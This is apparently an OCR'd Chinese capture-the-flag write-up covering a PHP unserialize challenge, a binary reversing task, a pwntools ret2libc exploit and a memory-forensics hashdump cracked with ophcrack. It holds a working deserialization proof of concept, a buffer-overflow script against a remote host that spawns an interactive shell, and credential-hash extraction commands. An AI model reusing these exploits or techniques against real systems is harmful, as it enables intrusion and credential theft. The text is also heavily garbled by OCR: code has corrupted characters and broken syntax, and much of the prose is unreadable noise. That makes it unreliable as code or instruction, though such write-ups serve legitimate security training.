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<?php
@error_reporting(1l);
#include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function _ construct()

{
$this->skyobj = new sec;
}
function __ toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
¥
else
{
return "you must be joking!";
¥
¥
}
¥
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data'l]);
echo $Input_data;
}

?>
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secK, {H RIS FHRAH F R R B4 4 2K 18 1 AU R S JB ME B R AR SR

FI F At i poc, K 1 F cool 2 b & X Hfjread B 4

<?php
@error_reporting(1l);
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __ construct()

{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename = "flag.php";
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

echo urlencode(serialize(new baby()));

?>
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{?php
// $flag = " flag {bd75a38e62ec0e450745a8eb8e66715b}” ;
$sth="test5030b66d4bdtest35daed9d51e2688377299test’ ;
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_Eﬁunction_s window O 8 X [E1p4 Viev-4 [ Pseudocod B Gl Hex view-1 [ Structures £ [ElEmms
Function name ~ 6| size t v3; // edx

e b 7| inmt buf[8]; // [esp+8h] [ebp-36h]
|f) _read 8| unsigned int seed; // [esp+28h] [ebp-16h]
—."f: —:i::l 9| unsigned int i; // [esp+2Ch] [ebp-Ch]
EAR 10

f| _puts oot : :

W 11| seed = time(@);

f| _srand

Ed 12| sub_804857B();

f| _strlen Sy &
f|___libc_start_main 12 puts(”> )’,

F] _setvbuf 14| srand(seed);

i 15| vB = 8;

f|_rand i 3

f| __egnon start 16| do

z start 17| { s

| £] sub_8048480 18 buf[ve] = 8;

|| sub_80484C0 19 ++v0;

_Lsub_8048530 20

| 7] sub_g048550 ® 21| while ( v@ < 8 );

Lf | sub_B04857E 22| read(@, buf, @xAdu);

L sub_R048545 23| for ( i= B = ++1 )

Zrain 2| 4

£ init 25 v3 = strlen((const char *)buf);
[ ind 26| if (v3 <=1i)

|£] _term_proc 27 break;

% Zeal 28| vl = *((_BYTE *)buf + i);

time 5

£ 29 v2 = rand();

£ alazn 39| *((_BYTE *)buf + i) = v2 ~ v1;
_L puts 2 3}

'% 2::111311 32| return @;

z __libec_start_main =

f| setvbuf
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from pwn import *

sh = remote('101.71.29.5',10013)
libc = ELF('./1libc-2.23.s0")
elf = ELF('./rrr")

put_plt = elf.plt['puts']
put_got = elf.got['puts']
mainaddr = 0x08048662

payload = 52*'A'+p32(put_plt)+p32(mainaddr)+p32(put_got)
sh.sendline(payload)

sh.recvuntil('\n")

putsaddr = u32(sh.recv()[0:4])

print 'putsddress'+hex(putsaddr)

libcbase = putsaddr-libc.symbols['puts’]

print '[leak system address]'

system_addr = putsaddr-0x24800

print '[leak binsh address]'

binsh_addr = putsaddr + @xf9eeb

payloadl = 52*'A'+p32(system_addr)+p32(mainaddr)+p32(binsh_addr)
sh.sendline(payloadl)

sh.interactive()
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volatility -f X4 4 imageinfo A& SR FIEAR(E B, AE T ZNFREBIRZE B winxpsp2x86

1 F volatility, 52 %) 4 vE M & 18 FH volatility -f SC 14 4% --profile winxpsp2x86 hivelist




f§ Flhashdump 821454 & B P 215 i hashii, volatility -f 32444 --profile winxpsp2x86 hashdump -y system
R Rvirtuali ik -s SAMZE fvirtual ik

{¥ FHophcrack, load s iisingle hash, 5% fi# H & B &R i B SC 2515

@ ophcrac
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Load_, Delete  Save  Tables Crack  Help Exit About
Progress Statistics Preferences
User LM Hash NT Hash LM Pwd 1 LM Pwd 2 NT Pwd
Administra... 0182bd0b... c22b315c0... 1234567 89 123456789
|
|
|
Table Status Preload Progress |
@ XPfre.. inactive 100%inR.. ] i
@ Vista ... inactive  100%inR...
Preload: Brute force: | done | Pvd found: [ 1/1 | Tine elapsed: [ 0h On 26c

123456789 md5 1t R flag

123456789
Eah ~ JES il

____=» [N

HRER:
md5(123456789,32) = 25f9e794323b453885f5181f1b624d0b
md5(123456789,16) = 323b453885f5181f

reverse1
BHA T —Apythonfll A% % K ilexe, &FpycXt:, 4 HKIpycXthR&mEART

¥ pyinstxtractor.py A (T~ # bk https://sourceforge.net/projects/pyinstallerextractor/) 4 %@ H 45 H
i1 .exeC

BRX—HERT


https://sourceforge.net/projects/pyinstallerextractor/

> she > AnhengRe.exe_extracted
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B v fE%EH i) K
out00-PYZ.pyz_extracted 2019/1/2617:00 T3k

rl _bz2.pyd 2019/1/26 17:00 Python Extensio... 86 KB
& _hashlib.pyd 2019/1/26 1700 Python Extensio... 1618 KB
A _lzma.pyd 2019/1/26 17:00 Python Extensio... 242 KB
rl _socket.pyd 2019/1/26 17:00 Python Extensio... 64 KB
& _sslpyd 2019/1/26 17:.00 Python Extensio... 2,006 KB
[ AnhengRe 2019/1/26 17:03 pray 1KB
(] AnhengRe.exe.manifest 2019/1/26 17:00 MANIFEST 744 2KB
api-ms-win-core-console-11-1-0.dll 2019/1/26 17:00  RIBEFTRE 20 KB
api-ms-win-core-datetime-11-1-0.dll 2019/1/26 17:00  RIBREFTE 19KB
api-ms-win-core-debug-11-1-0.dll 2019/1/26 17:00 N FRRERT R 19KB
[ abi-ms-win-core-errorhandlina-11-1-..  2019/1/26 17:00 R R 19 KB
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AnhengRe |
offset 0 1 2 3 4 5 6 7 8 9 A B C D E F ANSI ASCII
goooooo0 |E3 OO0 OO OO OO OO OO OO 00 00 00 00 00 0% 00 00 a
00000010 |00 40 OO0 OO OO 73 D8 00 00 00 &4 00 €4 01 ec 00 @ =2 ddl
00000020 |5A 00 ©5 01 ©4 02 83 01 5S5A 02 €3> 01 ©4 03 83 01 Z e df 2 edf
00000030 |5A 03 €5 04 65 05 65 02 €4 00 1% 00 83 01 €4 04 Z e e e d f d
Fwinhex3T 7@ B JR 445 t Fpyc 4
AnhengRe AnhengRe.pycl
offset 0 1. 2 3 4 5 6 7 8 %9 A B C D E F ANSI ASCII A
goooQ0oo00 |33 0D OD OA OO OO OO OO OO0 OO0 OO0 00 4D 5A 320 00 3 MZ
00000010 |03 00O OO OO0 04 00 00 OO0 FF FF OO0 00 BE 00 OO0 OO ¥y o,
goooooz0 |00 OO OO OO 40 OO OO OO 00O OO0 OO0 OO0 00 00 00 o0 @
00000030 |00 OO OO0 OO0 OO0 OO 0O OO 00 00 00 00 00 00 00 00
gooooo40 |00 OO OO OO OO OO OO OO 00 01 OO0 00 OE 1F BA OE e
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#!/usr/bin/env python

# encoding: utf-8

# WRRBAHE, WHERELSRMAK! http://tool.lu/pyc
import os

nl = input('Tell me your name?')

n2 = input('Tell me your pasw')

nll = chr(ord(ni[@]) + 12)

S =
st3 = '5le’

st2 '9f1ffle8b5b91110"
stl 'cd4e21clla2412’
st@ = 'wrong'

if nl11 + 'AnHeng' == n2:
for i in range(0, 4):
s += stl1[3 - i]

print('Congratulations"')
ts = st2[@] + st3 + st2[1] + s
print('flag{"' + st3[:1] + stl + st2 + st3[-2:] + '}")
os.system( 'pause')
else:
print('no,"' + st@)
import os
nl = input('Tell me your name?")
n2 = input('Tell me your pasw')
nll = chr(ord(nl[@]) + 12)
S =
st3 = 'Sle’
st2 = '9f1ffle8b5b91110"
stl 'cd4e21clla2412’
std® = 'wrong'

if nl11 + 'AnHeng' == n2:
for i in range(@, 4):
s += stl1[3 - i]

print('Congratulations')
ts = st2[@] + st3 + st2[1] + s
print('flag{' + st3[:1] + stl + st2 + st3[-2:] + '}")
os.system('pause')
else:
print('no,"' + st@)
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#!/usr/bin/env python
# encoding: utf-8
#!/usr/bin/env python
# encoding: utf-8

s = '
st3 = '5le’

st2 = '9f1ff1le8b5b91110"
stl = 'cd4e21clla2412'
st@ = 'wrong'

for i in range(9, 4):

s += stl1[3 - 1i]

print('Congratulations')
ts = st2[@] + st3 + st2[1] + s
print('flag{' + st3[:1] + stl + st2 + st3[-2:] + '}")
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